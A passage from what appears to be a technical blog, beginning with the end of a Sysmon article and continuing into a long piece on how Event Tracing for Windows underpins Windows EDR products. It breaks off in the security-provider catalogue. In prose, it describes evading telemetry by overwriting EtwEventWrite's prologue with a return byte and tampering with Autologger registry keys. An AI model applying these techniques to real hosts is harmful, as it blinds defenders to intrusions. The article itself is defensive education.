These are the questions. The seven layers between Maya's cmd.exe at 9:14 a.m. and her Kusto row at 9:14:03 are how the answers actually work -- a kernel callback, a user-mode aggregator, an ETW publisher or TLS-pinned cloud forwarder, a regional Kusto ingest, a table write, and a KQL read, with two structural defenses (Antimalware-PPL and the Sysmon v15 protected-process gate) keeping each layer honest. Every other detection-engineering pattern in the Windows field is a configuration of those seven layers, and most of the open problems are at the seams between them.

See also. The Sysmon driver's collection layer leans on the kernel-callback APIs documented in the Windows process mitigations and Object Manager namespace articles in this series. The ETW transport bus that Sysmon publishes onto -- and that EtwTi security events surface through -- is the subject of the dedicated ETW article in this series; the article goes deeper on provider GUIDs, manifests, and the eight-trace-session manifest-provider cap that bounds Sysmon's coexistence story in §10. The AMSI primary path that produces DeviceEvents ActionType = "AmsiScriptDetection" is the subject of the AMSI article; the two pipelines are siblings, not substitutes. And the Sigma rule corpus that compiles down into KQL for Defender XDR / Sentinel hunting is the same Sigma corpus that compiles into Splunk SPL and Elastic EQL -- the vendor-neutral query layer that sits above this article's KQL surface [@github-sigma].

ETW: How Windows 2000's Performance Hack Became the EDR Substrate

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

Event Tracing for Windows is the high-rate, kernel-buffered observability bus that every modern Windows EDR consumes. A 2007-era architectural decision -- letting eight sessions read the same provider concurrently -- is what makes multi-vendor coexistence possible on a single host. Microsoft's `Microsoft-Windows-Threat-Intelligence` provider, gated behind Protected Process Light and an ELAM-signed Antimalware certificate since the Windows 10 RS-era, fires from the kernel side of memory-modifying syscalls and survives the user-mode `EtwEventWrite` patch class that defined red-team tradecraft from 2020 to 2022. The remaining attack surface -- BYOVD-driven kernel tampering -- is structurally narrowed by the Vulnerable Driver Blocklist enabled by default since Windows 11 22H2, with the residual sub-microsecond-payload gap remaining as ETW's irreducible "observation, not enforcement" limit.

1. Why didn't the patch silence Defender?

A red-team operator drops onto a 2026 Defender [@paragmali-com-war-it]-protected box and runs the move that worked five years ago. They locate ntdll!EtwEventWrite in the calling process, write the byte 0xC3 over the function prologue, and the calling process now silently fails to emit user-mode ETW events. The .NET CLR provider goes dark. Invoke-Mimikatz loads from execute-assembly without lighting up Microsoft-Windows-DotNETRuntime. Defender catches the credential dump [@paragmali-com-and-the] anyway, four seconds later, and the operator is on a SOC analyst's screen before the shellcode finishes running.

The patch worked. The .NET tracing provider in that process is mute. Attach a debugger and disassemble the function prologue: the first byte is now 0xC3, the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret], and any caller falls straight back to its return address before producing a single event. The technique is the one Adam Chester documented in March 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet], and to a generation of red teamers it has functioned as a near-universal ETW evasion ever since.

So why did Defender still fire?

Because Defender does not consume Microsoft-Windows-DotNETRuntime to detect a credential dump. It consumes Microsoft-Windows-Threat-Intelligence [@fluxsec-eti] [@fluxsec-eti] -- a provider whose GUID is {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}, whose events fire from inside the kernel side of memory-modifying syscalls, and whose producer the user-mode patcher cannot reach. The patch operated on a ntdll trampoline. The signal Defender used was emitted from a different layer entirely.

Key idea: Modern Windows EDR is layered on ETW, and the layers fail under different attacks.

That single asymmetry -- one provider goes dark to a one-byte patch, another fires from a place the patcher cannot touch -- is the spine of this article. Around it sits a 26-year story of one Microsoft team accidentally building the substrate of every modern Windows endpoint security product.

A high-rate, kernel-buffered tracing facility built into Windows since 2000. Components called *providers* emit events tagged with a GUID; *controllers* configure trace sessions; *consumers* subscribe to live event streams or read recorded `.etl` files. ETW was designed for low-overhead developer diagnostics; it was retrofitted into the security-telemetry substrate that all modern Windows EDR products consume. A class of endpoint security product that ingests behavioural telemetry (process creation, image load, memory allocation, network connection, registry change), correlates it against detection logic, and produces alerts and response actions. On Windows, the dominant EDRs (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Elastic Defend, Wazuh, Sysmon-plus-SIEM) all build on ETW or on the same kernel callbacks ETW exposes to the user-mode tier.

To understand why a one-byte patch silences one provider but not another, we have to go back to a Windows 2000 design decision about per-CPU ring buffers.

2. ETW in Windows 2000: the performance problem that started it all

Imagine a 1999 network-driver author. A customer's NT4 production server is corrupting packets under load and the only available instrumentation is DbgPrint. Each call serialises through a kernel debug port, costs measurable percentage points of CPU on a busy box, and ships data to whoever happens to have the kernel debugger attached. The customer says no. The bug reproduces only at production traffic levels. You cannot ship enough printf-debugging through a debug port to find it.

That is the engineering pain Insung Park and Ricky Buch's team was solving when ETW shipped with Windows 2000. Their design moves -- recorded years later in the definitive April 2007 MSDN Magazine article on the Vista upgrade [@ms-park-buch-2007] [@ms-park-buch-2007] -- still define the architecture two and a half decades later.

The first move was per-CPU ring buffers. A producer on CPU 7 writes to CPU 7's buffer with no lock contention against producers on other CPUs. Hot-path tracing on a 64-core machine does not serialise. The kernel allocates at least two buffers per logical processor [@ms-event-trace-props] [@ms-event-trace-props] so a producer can keep writing while a writer thread drains the previous buffer.

The second move was an asynchronous writer thread. The producer never blocks on disk I/O. It writes to its CPU's buffer and returns. A separate kernel thread drains buffers to file or hands them to a real-time consumer. ETW pushes the latency tax onto the consumer and the storage path, never onto the producer's hot loop.

The third move was dynamic enable and disable. Park and Buch describe the resulting capability in one sentence:

ETW gives you the ability to enable and disable logging dynamically, making it easy to perform detailed tracing in production environments without requiring reboots or application restarts. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

That sentence is the entire reason ETW could later become the EDR substrate. A producer compiles its trace points into shipping code at low cost; a controller flips them on at runtime when somebody actually wants the data. Without that property, you cannot build a security product that ships universal kernel tracing on a billion endpoints.

The fourth move was the trichotomy of providers, controllers, and consumers [@ms-etw-wdk] [@ms-etw-wdk]. Microsoft did not write ETW as an internal-only facility. From the start, third parties could write providers (driver authors instrumenting their own code), controllers (performance tools starting and stopping sessions), and consumers (analyzers reading event streams). The architecture is open by design.

A component that emits ETW events, identified by a GUID. A provider is registered with the system at runtime via the `EventRegister` API (or its predecessor `RegisterTraceGuids` for classic providers) and emits events via `EventWrite` (or `TraceEvent`). Providers ship inside Windows itself, inside Microsoft applications, and inside any third-party binary that wants to expose tracing. A component that creates, configures, enables, and stops trace sessions. Controllers select which providers a session subscribes to and at which level and keyword bitmask. The Windows Performance Recorder, `logman`, `xperf`, and every EDR's session-management code are controllers. A component that reads events from a session in real time or from an `.etl` file on disk. Consumers register a callback that the system invokes once per delivered event. The Windows Performance Analyzer, the krabsetw library, SilkETW, and every EDR's sensor process are consumers. flowchart LR Ctl[Controller
StartTrace + EnableTrace] --> Sess[Trace Session
per-session buffer pool] P1[Provider on CPU 0] --> CPU0[CPU 0 buffer] P2[Provider on CPU 1] --> CPU1[CPU 1 buffer] P3[Provider on CPU N] --> CPUN[CPU N buffer] CPU0 --> WT[Writer thread
asynchronous drain] CPU1 --> WT CPUN --> WT Sess -.governs.-> CPU0 Sess -.governs.-> CPU1 Sess -.governs.-> CPUN WT --> File[(.etl file)] WT --> RT[Real-time consumer
OpenTrace + ProcessTrace]

The original Windows 2000 implementation supported 32 trace sessions running simultaneously [@ms-etw-sessions] [@ms-etw-sessions], a number Microsoft later raised to 64 globally. ETW was framed as a developer-diagnostics facility -- the Windows Driver Kit primary still describes it that way [@ms-etw-wdk] [@ms-etw-wdk] -- and the security-telemetry use case did not exist for almost a decade.

But the design choices that made ETW good for low-overhead production diagnostics turn out to be exactly the design choices a security telemetry bus needs. Per-CPU buffers solve the multi-core throughput problem. Asynchronous writes solve the producer-latency problem. Dynamic enable solves the always-shipping-but-mostly-off problem. The trichotomy solves the third-party-extensibility problem. Twenty-five years later, every modern Windows EDR consumes telemetry through the same four primitives.Windows 2000's 32-session global cap [@ms-etw-sessions] is preserved verbatim on the modern Microsoft Learn page: "Windows 2000: Supports only 32 event tracing sessions." The cap doubled to 64 in later releases and has stayed there ever since.

The 2000-era design carried one limit, however, that turned out to matter for security: only one trace session could enable a classic provider at a time. The next ten years would be defined by the consequences.

3. The MOF era: one session, one steal, one decade of coexistence pain

In 2005, a third-party performance monitor that registered a classic provider could find itself silently disabled the moment Microsoft's wprui.exe started its own session against the same provider GUID. The first session got no error. It just stopped receiving events. That second-consumer-steals-first behavior is the architectural fact of the entire 2000-2007 era.

Microsoft Learn still documents the rule in one sentence:

Note: "Up to eight trace sessions can enable and receive events from the same manifest-based provider. However, only one trace session can enable a classic provider. If more than one trace session tries to enable a classic provider, the first session would stop receiving events when the second session enables the provider." -- Microsoft Learn, Configuring and Starting an Event Tracing Session [@ms-etw-config] [@ms-etw-config]

That single rule made multi-EDR coexistence on classic providers structurally impossible. If Defender's predecessor and a third-party HIPS both wanted real-time process events from the same classic provider, they had to fight for it. The loser got silence with no notification.

The provider class involved was MOF-based, named after the schema language that described its events.

The schema description language inherited from WBEM (Web-Based Enterprise Management). For ETW, MOF files describe each event a classic provider can emit -- field names, types, tasks, opcodes -- and are compiled into the WMI repository at install time using `mofcomp`. Consumers decode events by querying the WMI repository for the matching MOF schema. A synonym for *MOF provider*. The original ETW provider class introduced in Windows 2000. Registered with `RegisterTraceGuids`, emits events via `TraceEvent`, decoded against a MOF schema in the WMI repository. Capped at one trace session per provider.

The MOF model was workable for a single-consumer world. A performance-tuning team running an in-house tool could enable the provider, capture, and disable. As the substrate of a security stack with multiple agents on the same host, it could not work. The mid-2000s had not yet produced a "multiple agents on the same host" world, so the limit did not bite immediately. By 2007 it would.

Class	Era	Schema location	Sessions/provider	Adoption in 2026
MOF / classic	2000	WMI repository	1	Niche; mostly NT Kernel Logger
WPP	2002	`.pdb` (TMF)	1	Pervasive inside Windows internals
Manifest-based	2007 (Vista)	XML manifest	8	Dominant for security telemetry
TraceLogging	2015 (Win10)	Inline (TLV)	8	Rising for new app/service code

A handful of classic providers survived the 2007 transition and are still significant. The most important is the NT Kernel Logger [@ms-etw-sessions] [@ms-etw-sessions], the special-purpose system session that captures high-throughput kernel events: file I/O, disk I/O, registry operations, network packets. On most consumer SKUs it remains the only path to those event streams at line rate. Sysmon and most kernel-level diagnostics tools use the NT Kernel Logger or its modern descendants.The NT Kernel Logger is a system reserved logger. There is exactly one of it on a host, and the kernel itself owns the buffers. Tools that want kernel disk, file, registry, or network events at high throughput typically subscribe through it rather than through manifest providers. This is why a host can have eight Microsoft-Windows-Kernel-File consumers but cannot easily have two simultaneous full-fidelity disk I/O traces.

By 2007 Microsoft knew the one-session limit had to go. The fix shipped with Windows Vista in January 2007, and it was the central architectural decision of the entire ETW-as-EDR-substrate story.

4. Vista's eight sessions: the architectural decision that made the modern EDR endpoint possible

Park and Buch open their April 2007 MSDN Magazine article with the line that frames every later development:

On Windows Vista, ETW has gone through a major upgrade, and one of the most significant changes is the introduction of the unified event provider model and APIs. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

The new model raised the per-provider session cap from one to eight. That single number is why Defender, CrowdStrike Falcon, SentinelOne, Sysmon, and a researcher's SilkETW tap can all read Microsoft-Windows-Kernel-Process [@fireeye-silketw-launch] [@fireeye-silketw-launch] from the same host today without one of them stealing events from the others.

The Vista model also unified two things that had been separate. ETW providers wrote to per-CPU ring buffers; the Win32 Event Log was a different facility with its own writer, its own format, and its own consumers. Park and Buch describe the unification verbatim:

The new unified APIs combine logging traces and writing to the Event Viewer into one consistent, easy-to-use mechanism for event providers. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

After Vista, a single EventWrite call from a manifest-based provider lands both in the per-CPU ring buffer for ETW consumers and in the evtx channel for wevtutil and Group Policy audit consumers, depending on how the manifest's channel mappings are configured. The "Event Viewer" the user sees is now a consumer of ETW.

The Vista-era ETW provider class. The provider author writes an XML manifest enumerating events, fields, tasks, opcodes, levels, keywords, and channels. The `mc.exe` message compiler turns the manifest into a binary resource embedded in the provider binary; `wevtutil im` registers the manifest with the system at install time. At runtime the provider calls `EventRegister` once per provider GUID and `EventWrite` per event. Capped at eight trace sessions per provider. A logical destination for an event, declared in a manifest. The four standard channels are *Admin* (operational events for administrators), *Operational* (verbose events for operators), *Analytical* (high-volume events for diagnostics), and *Debug* (developer-only events). When the provider's `EventWrite` fires, the kernel demultiplexes by channel: events with channels enabled in the `evtx` configuration land in the corresponding channel log, while subscribed real-time consumers receive them through their session.

The deployment pipeline for a manifest-based provider is heavier than for a classic provider. The author writes a manifest, compiles it, embeds the resource, and runs wevtutil im at install time. Microsoft Learn calls out the distinction between provider registration and manifest installation [@ms-eventregister] [@ms-eventregister] explicitly, and notes that each process can register up to 1,024 providers [@ms-eventregister] [@ms-eventregister]. In practice few processes come close.

flowchart TD A[Author writes manifest.xml] --> B[mc.exe compiles to binary resource] B --> C[Resource embedded in provider .dll/.exe] C --> D[Installer runs wevtutil im manifest.xml] D --> E[System-wide manifest registry] F[Provider process at runtime] --> G[EventRegister GUID] G --> H[EventWrite per event] H --> I[Per-CPU ring buffer
for ETW sessions] H --> J[Channel demux
Admin / Operational / Analytical / Debug] J --> K[(.evtx log files)] I --> L[Real-time consumers] E -.decode metadata.-> L E -.decode metadata.-> K

The cap rules now read like this: eight trace sessions can enable a manifest-based provider concurrently [@ms-about-etw] [@ms-about-etw]; up to 64 sessions can run on the system at once [@ms-etw-sessions] [@ms-etw-sessions]; EnableTraceEx2 returns ERROR_NO_SYSTEM_RESOURCES when the per-provider cap binds [@ms-enabletraceex2] [@ms-enabletraceex2]. The 8-session number was chosen for ergonomics, not for security planning, but it is the load-bearing number in modern Windows endpoint security.

Key idea: The eight-session cap on manifest-based providers is the single architectural decision that made multi-EDR coexistence on the same Windows host possible. Without it, the second EDR to subscribe to Microsoft-Windows-Kernel-Process would silently steal events from the first.

A 2007-era driver author shipping the inaugural Microsoft-Windows-Kernel-Process provider, GUID {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}, authored a manifest declaring ProcessStart (event ID 1), ProcessStop (event ID 2), ImageLoad (event ID 5), and so on. Defender's MsMpEng.exe could subscribe; the future CrowdStrike Falcon could subscribe; the future Sysmon could subscribe; the future SilkETW researchers could subscribe. None starves another. The Vista unification is the architectural enabler of the modern multi-EDR Windows endpoint.

With multi-consumer concurrency solved, the next problems were authoring overhead and producer integrity. Two parallel paths branched off the Vista manifest model: TraceLogging for the first, the EtwTi PPL/ELAM gate for the second.

5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier

Vista's manifest-based providers solved coexistence and decoding, but they were heavy to deploy. Microsoft shipped two more provider classes -- one older than Vista and one younger -- that traded manifest deployment for two different kinds of simplicity.

WPP: the C-preprocessor approach

WPP -- Windows software trace PreProcessor -- predates Vista. Community references and the Park & Buch description of ETW being "abstracted into the Windows preprocessor (WPP) software tracing technology" [@ms-park-buch-2007] place its first WDK ship in the Windows XP era; no Microsoft primary pins a specific build. It became the standard tracing facility inside the Windows kernel tree itself for years. The WDK page [@ms-wpp] [@ms-wpp] frames its purpose:

"WPP software tracing supplements and enhances WMI event tracing by adding ways to simplify tracing the operation of the trace provider. It is an efficient mechanism for the trace provider to log real-time binary messages."

A WPP provider is authored in C with macros that look like printf calls. The C preprocessor expands DoTraceMessage(FlagId, "Frobnicating widget %d", widgetId) into an EventWrite call against an auto-generated provider GUID. Format strings are extracted at build time into a Trace Message Format file embedded in the binary's .pdb. The producer cost is the smallest of any ETW provider class: emitting an event is a function call plus a few stores into a buffer. There is no manifest to deploy, no XML to author.

The corresponding decode cost is the highest. A WPP event arrives at the consumer as a binary payload referencing a TMF identifier. To turn that into a human-readable message the consumer needs the producer's .pdb file. If you do not have the symbols for the binary that emitted the event, you do not know what the event means.

That decode cost is why WPP did not become the EDR substrate. Sealighter's README puts the operational consequence verbatim:

A C-preprocessor-based ETW authoring path inherited from the XP-era WDK. Format strings are extracted to a TMF resource that lives in the producer's `.pdb`. Producer cost is minimal; decode cost requires the producer's symbol files. WPP providers inherit the classic one-session-per-provider cap and are pervasively used inside Windows itself for in-tree dev-time tracing.

"WPP traces compounds the issues, providing almost no easy-to-find data about provider and their events." -- Sealighter README [@gh-sealighter] [@gh-sealighter]

WPP providers also inherit the classic one-session-per-provider cap [@ms-about-etw] [@ms-about-etw], which would have made them unworkable for multi-EDR consumption even if the decode problem were solved. So WPP became the kernel-tree internal tracing facility -- ubiquitous inside Microsoft's source tree, irrelevant outside it.

TraceLogging: schema in the payload

Eight years after Vista, in Windows 10 (2015), Microsoft shipped a parallel path that solved a different problem. TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about] keeps the eight-session cap of manifest providers but eliminates the manifest deployment burden:

"TraceLogging is a system for logging events that can be decoded without a manifest." -- Microsoft Learn, About TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about]

A TraceLogging event carries its own schema inline. The event payload is a sequence of typed-length-value triples: a one-byte type tag, a length, and the data. A consumer that has never seen the provider before can still decode the event because the names and types of every field are in the event. The provider author needs no XML manifest, no mc.exe, no wevtutil im.

The trade-off is per-event size. Inline schema strings cost bytes per event. For a high-volume provider emitting millions of events per minute, the per-event size matters and a manifest-based provider is correct. For a new component author who wants tracing without an install-time deployment dance, TraceLogging is the right answer.

A self-describing ETW provider class shipped in Windows 10. Schema is inline in each event payload as type-length-value triples; consumers decode without a manifest. Available from C/C++ via `TraceLoggingProvider.h`, from .NET via `EventSource` with `EtwSelfDescribingEventFormat`, and from WinRT via `LoggingChannel`. Inherits the eight-session cap from the manifest-based class.

TraceLogging is also the unified path across runtimes. The same self-describing payload format is emitted from native C/C++, from .NET (when an EventSource opts into EtwSelfDescribingEventFormat), and from kernel-mode drivers [@ms-tracelogging-portal] [@ms-tracelogging-portal]. A consumer using TDH (the Trace Data Helper API) decodes them without distinguishing between the runtime that emitted them.

Four classes, four trade-offs

Class	First Shipped	Schema Location	Sessions/Provider	Decode without symbols/manifest?	Best for
MOF / classic	2000	WMI repository (`mofcomp`)	1	Needs MOF	Legacy components; NT Kernel Logger
WPP	~2002	`.pdb` (TMF)	1	No -- needs producer PDB	In-tree Windows kernel dev-time tracing
Manifest-based	2007 (Vista)	XML manifest, system-installed	8	Needs installed manifest	Shipping security telemetry
TraceLogging	2015 (Win10)	Inline TLV in payload	8	Yes	New apps and services; cross-runtime

Sources for the table: [@ms-about-etw, @ms-etw-config, @ms-tracelogging-about, @ms-wpp].

For new shipping Windows components with a known event vocabulary and high volume, choose manifest-based: smallest per-event size, evtx integration, eight-consumer concurrency. For new cross-runtime open-source providers where deployment friction matters, choose TraceLogging: same eight-consumer concurrency, no XML to author, decodable everywhere. For in-source-tree dev-time tracing inside a binary you already have symbols for, WPP is fine. For new security-relevant providers, never choose classic: the one-session cap is structurally incompatible with multi-EDR coexistence.

Four provider classes, four trade-offs. But every one of them shares a structural weakness: the producer fires from inside the calling process, and any code in that process can patch the runtime entry-point and silence the provider for itself. That is the weakness Adam Chester made famous in 2020, and the one EtwTi was built to defeat.

6. Sessions, buffers, and the autologger registry: where the telemetry actually lives

Open regedit on a Windows host and navigate to HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger. You are looking at the persistence surface of every trace session that survives a reboot on this machine -- and the persistence surface every modern EDR uses to install itself.

A session is the unit ETW actually exposes to controllers. It owns a per-session pool of buffers, a writer thread, a destination (file or real-time consumer), and a list of providers it has subscribed to. The lifecycle is short. A controller fills out an EVENT_TRACE_PROPERTIES structure [@ms-event-trace-props] [@ms-event-trace-props] with a session name, buffer size, logging mode, and destination, then calls StartTrace. The kernel allocates the buffers -- at least two per logical processor [@ms-event-trace-props] [@ms-event-trace-props] -- and returns a session handle. The controller then calls EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] for each provider it wants to subscribe to, passing EVENT_CONTROL_CODE_ENABLE_PROVIDER along with the provider GUID, level, and keyword bitmask.

If the provider's per-class session cap is already saturated, EnableTraceEx2 returns ERROR_NO_SYSTEM_RESOURCES. If the caller lacks the privilege to enable that provider, it returns ERROR_ACCESS_DENIED. We will see both error codes again later, on different paths.The default buffer size sweet spot is small. The Microsoft Learn primary states it explicitly: "Trace sessions with large buffers (256KB or larger) should be used only for diagnostic investigations or testing, not for production tracing." [@ms-event-trace-props] Production session buffer sizes typically sit in the 32-64KB range.

There are three logging modes. File mode writes events to a sequential .etl file on disk; the writer thread drains buffers to disk and the file grows. Circular mode writes to a fixed-size file in a circular buffer; old events are overwritten when the file fills. Real-time mode delivers events to a real-time consumer process via a kernel callback. Defender, EDR sensors, and Sysmon all use real-time mode for their hot paths; they may also write to file as a forensic backup.

A process that calls `OpenTrace` with `LogFileMode = EVENT_TRACE_REAL_TIME_MODE` and receives events live via a registered callback rather than from an `.etl` file on disk. Real-time consumers must keep up with producer rate or events are lost.

The autologger registry path is what makes a session survive a reboot. A subkey under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\<SessionName> defines a session that the kernel starts at boot, before most user-mode services are running. Each subkey's values configure the session: BufferSize, MaximumBuffers, LogFileMode, FileName, plus a nested <SessionName>\<ProviderGuid> subkey for each provider to enable.

A registry-persisted boot-time ETW session. The kernel reads `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\` at boot, creates the session, enables the configured providers, and begins capture before user-mode services start. Defender's Sense agent, CrowdStrike's Falcon sensor, and Sysmon's driver all install autologgers here.

Defender's DiagTrack, Microsoft-Windows-Diagnosis-PCW, the SQM kernel logger, the EventLog-Application channel autologger -- all live here (observable via logman query -ets on a stock Windows install). Third-party EDRs add their own. The Palantir CIRT taxonomy [@palantir-tampering-wayback] (about which more in section 11) frames this registry surface as the persistent-tampering target: an attacker who can write to this subtree can disable an EDR's boot-time tracing without ever interacting with the running EDR process. The events of interest never get captured because the session never starts.

There is a related concept worth naming: the Global Logger. This is a special autologger session whose configuration lives in HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger. It is the boot-time tracing path that comes online before any user-mode service, including before Sense and the EDR sensor. It exists to capture early-boot kernel events that no later session can record.

flowchart TD R[HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\] --> S1[DiagTrack-Listener] R --> S2[Defender-Listener] R --> S3[ThirdPartyEDR-Sensor] R --> SG[GlobalLogger] S2 --> S2P[Provider GUIDs subkeys] S2 --> S2C[BufferSize / MaximumBuffers / LogFileMode] S2 --> S2F[FileName=.etl path] S2P --> KS[Kernel reads at boot] S2C --> KS S2F --> KS KS --> Started[Session started before user-mode services]

Note: logman query -ets enumerates every live trace session on the host. Cross-reference against the subkeys in HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ to find sessions configured to start at boot. Any unauthorised entry -- a session you do not recognise, an autologger pointed at a destination outside your EDR's data path, a provider GUID you cannot account for -- belongs in your incident response queue. We return to this in section 14.

ERROR_NO_SYSTEM_RESOURCES from EnableTraceEx2 is the runtime symptom of the eight-session cap binding [@ms-enabletraceex2]. SOC engineers debugging multi-EDR coexistence problems should look for it in their sensor's diagnostic output. Eight subscribers per manifest provider is enough for the typical Defender + third-party EDR + Sysmon + research tap arrangement, but a host running multiple research-mode tracers can saturate it.

Persistence solved: a session the OS starts at every boot. But who reads it? That requires a consumer process, and consumers are where the architecture forks along the security spectrum.

7. Consumer architecture: from `OpenTrace` to KrabsETW to a 30-line process watcher

The consumer side of ETW is mechanically simple -- three calls to open a trace, register a callback, and process events -- but the choice of library tells you almost everything about what kind of EDR you are building.

The native pattern is three Win32 calls. EnableTraceEx2 subscribes the session to a provider GUID with a level and keyword bitmask. OpenTrace returns a handle on the session for consumption. ProcessTrace blocks the calling thread, drains events from the kernel's per-CPU buffers, and dispatches each one to a registered callback. Each event arrives as an EVENT_RECORD containing a header (provider GUID, event ID, level, keyword, opcode, timestamp, process ID, thread ID) and a payload that the consumer decodes.

For manifest providers the consumer decodes via TDH (the Trace Data Helper API) against the system-installed manifest. For TraceLogging providers the consumer decodes from the inline TLV payload. For classic and WPP providers the consumer needs the MOF schema or the producer's PDB respectively.

The Win32 decoder API that turns a raw `EVENT_RECORD` payload into typed fields, using the registered manifest as the schema source. `TdhGetEventInformation` returns a `TRACE_EVENT_INFO` structure with the field names, types, and offsets; `TdhFormatProperty` extracts each field. TDH is what makes manifest events self-describing at the consumer end, even though the schema lives out of band. sequenceDiagram participant C as Consumer process participant K as Kernel ETW subsystem participant P as Provider process C->>K: StartTrace(session) C->>K: EnableTraceEx2(session, providerGuid, level, keyword) K-->>P: Provider notified to begin emitting C->>K: OpenTrace(session) K-->>C: TraceHandle C->>K: ProcessTrace(handle) [blocking] P->>K: EventWrite(payload) K-->>C: callback(EVENT_RECORD) P->>K: EventWrite(payload) K-->>C: callback(EVENT_RECORD) Note over C,K: ProcessTrace returns only when session ends

In production almost no one writes the raw three-call pattern. The library universe settled into a small set of widely-used wrappers, and the choice of wrapper maps almost one-to-one onto the kind of EDR the engineering team is building.

krabsetw [@gh-krabsetw] [@gh-krabsetw] is a Microsoft-authored C++ library that simplifies session and provider management. Its README explicitly notes the production caller: a C++/CLI wrapper called Microsoft.O365.Security.Native.ETW, "used in production by the Office 365 Security team. It's affectionately referred to as Lobsters." If you are building an in-house EDR or a security analytics pipeline in C++ on Windows, krabsetw is the default choice.

Microsoft.Diagnostics.Tracing.TraceEvent [@nuget-traceprocessing] [@nuget-traceprocessing] is the general-purpose .NET ETW library, distributed as a NuGet package and used heavily inside the .NET diagnostics community. Microsoft's separate Microsoft.Windows.EventTracing.Processing.All package is the .NET TraceProcessing API [@ms-etw-portal] [@ms-etw-portal] that the Windows engineering team uses internally to analyze ETW data from the Windows engineering system.

SilkETW [@gh-silketw] [@gh-silketw], originally released by Ruben Boonen at FireEye in March 2019 [@fireeye-silketw-launch] [@fireeye-silketw-launch] (now maintained by Mandiant), wraps Microsoft.Diagnostics.Tracing.TraceEvent to expose ETW telemetry to detection-engineering and threat-hunting workflows. SilkETW is the canonical "blue team research" consumer: the tool you reach for when you want to see what events a provider actually emits without writing C++.

Sealighter [@gh-sealighter] [@gh-sealighter], by pathtofile, is a krabsetw-wrapping C++ tool that makes multi-provider subscription and filtering tractable from a JSON config. The README states: "Sealighter leverages the feature-rich Krabs ETW Library to enable detailed filtering and triage of ETW and WPP Providers and Events." Sealighter is the canonical "red/blue team triage" consumer: more flexible than SilkETW, less code to write than raw krabsetw.

The pitfalls are universal across all four libraries. The krabsetw README spells two of them out:

"The call to 'start' on the trace object is blocking so thread management may be necessary." -- [@gh-krabsetw]

"Throwing exceptions in the event handler callback ... will cause the trace to stop processing events." -- [@gh-krabsetw]

Both have caused real production outages. An EDR that throws an unhandled exception in its event callback dies silently as an ETW consumer, and the next event the provider emits goes nowhere.The "throwing in the callback stops the trace" pitfall is the gotcha that bites every team writing their first ETW consumer. The kernel does not catch the exception; the trace simply ends. A production-quality consumer wraps every callback in try/catch (or its language equivalent) and routes failures through a side channel, not through the trace itself.

To make the structure concrete, here is what a 30-line Microsoft-Windows-Kernel-Process real-time consumer looks like, written in TypeScript pseudocode that mirrors the structure a Sealighter or krabsetw user would write:

{` // Pseudocode: the structure of a krabsetw / Sealighter consumer // for the Microsoft-Windows-Kernel-Process provider.

const KERNEL_PROCESS_GUID = "{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}";

const session = new UserTraceSession("MyEdrSensor");

const provider = new Provider(KERNEL_PROCESS_GUID); provider.level = TraceLevel.Information; provider.anyKeyword = 0xFFFFFFFFFFFFFFFFn;

provider.onEvent = (event) => { try { switch (event.id) { case 1: // ProcessStart const pid = event.fields.ProcessID; const imageName = event.fields.ImageName; const cmdLine = event.fields.CommandLine; console.log(`Process start pid=${pid} image=${imageName}`); break; case 2: // ProcessStop console.log(`Process stop pid=${event.fields.ProcessID}`); break; case 5: // ImageLoad console.log(`Image load ${event.fields.ImageName} into pid=${event.fields.ProcessID}`); break; } } catch (e) { // never let an exception escape the callback sideChannelLog(e); } };

session.enable(provider); session.start(); // blocks until session.stop() is called `}

That code, in production form, is a working EDR sensor's process watcher. Every commercial Windows EDR has something with the same structure inside it.

Note: krabsetw wraps the C++ surface and is the default for production in-house EDRs. TraceEvent wraps .NET and is the default for diagnostics tooling. SilkETW exposes ETW to detection engineers without C++. Sealighter wraps krabsetw with a config file for triage. Pick the library that matches the team that will own the consumer, not the one that looks most powerful.

This is what Sysmon, Wazuh, and Elastic Defend look like under the hood -- a SYSTEM-privileged user-mode service consuming public providers. But there is one provider this code cannot subscribe to. Try it and EnableTraceEx2 returns ERROR_ACCESS_DENIED. The next two sections are about the GUID that requires a passport.

8. The security provider catalogue: what EDRs actually read

There are roughly 1,300 manifest-based providers shipped on a 2026 Windows 11 24H2 install -- the community-maintained jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the count across builds, and the repnz manifest archive [@gh-repnz] [@gh-repnz] holds byte-stable copies of the manifests for cross-version diffing. Eight of those providers carry almost all the security telemetry the EDR vendors read. This is the catalogue.

`Microsoft-Windows-Security-Auditing`

GUID {54849625-5478-4994-A5BA-3E3B0328C30D}. The audit-policy-driven Security event log producer. Event ID 4624 (logon), 4625 (failed logon), 4634 (logoff), 4688 (process create with command line) [@learn-microsoft-com-event-4688] [@ms-event-4624], 4689 (process exit), and the broader subcategory audit policy events. This is the closure for the legacy Security event log: when an administrator turns on "audit logon events" in the local security policy, this is the provider that emits the events. EDRs that consume it are reading the same stream the Event Viewer's Security log shows.

`Microsoft-Windows-Kernel-Process`

